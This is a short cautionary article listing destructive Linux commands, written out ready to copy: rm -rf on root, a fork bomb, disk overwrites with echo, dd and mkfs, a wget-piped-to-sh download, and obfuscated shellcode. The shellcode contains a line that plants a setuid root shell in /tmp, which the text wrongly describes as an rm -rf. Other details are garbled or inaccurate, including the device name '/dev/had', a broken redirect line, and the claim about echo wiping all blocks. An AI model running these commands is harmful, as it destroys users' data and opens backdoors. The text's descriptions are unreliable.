What Happens When You Run These Dangerous Linux Commands?

rm -rf command

This command can cause irreversible system damage.

> rm -rf /   # force delete everything under root directory.
> rm -rf *   # force delete all files in current directory.
> rm -rf .   # force delete current folder and its subfolders.

Running rm -rf should be done only after fully understanding its effect.

fork bomb

:(){ :|:& };:

Equivalent to:

bomb()
{
    bomb|bomb&
};
bomb

When executed, it exhausts system memory, repeatedly spawning processes until the system crashes, producing the error -bash: fork: Cannot allocate memory.

echo "" > /dev/sda

This overwrites all data blocks on a block device with raw data, resulting in total data loss.

mv folder /dev/null

mv /etc /dev/null

/dev/null discards any data written to it, but the command does not prevent data recovery tools; thorough destruction requires specialized software.

Execute downloaded script immediately

wget http://rumenz.com/rumenz.sh -O- | sh

If the script is malicious, it will execute; always inspect scripts before running.

mkfs.ext3 /dev/sdb

This formats the block device sdb, rendering the disk unrecoverable.

Redirect output to a file

>  > rumenz.txt

Commonly used to clear a file or capture command output; use with caution.

Zeroing a hard drive

dd if=/dev/zero of=/dev/had

This command zeroes the entire primary hard drive.

Obfuscated command disguised as shellcode

char esp[] __attribute__((section(".text"))) /* e.s.p release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

This hidden hex code essentially runs rm -rf and can erase the root partition; never execute unknown commands without testing in a virtual machine.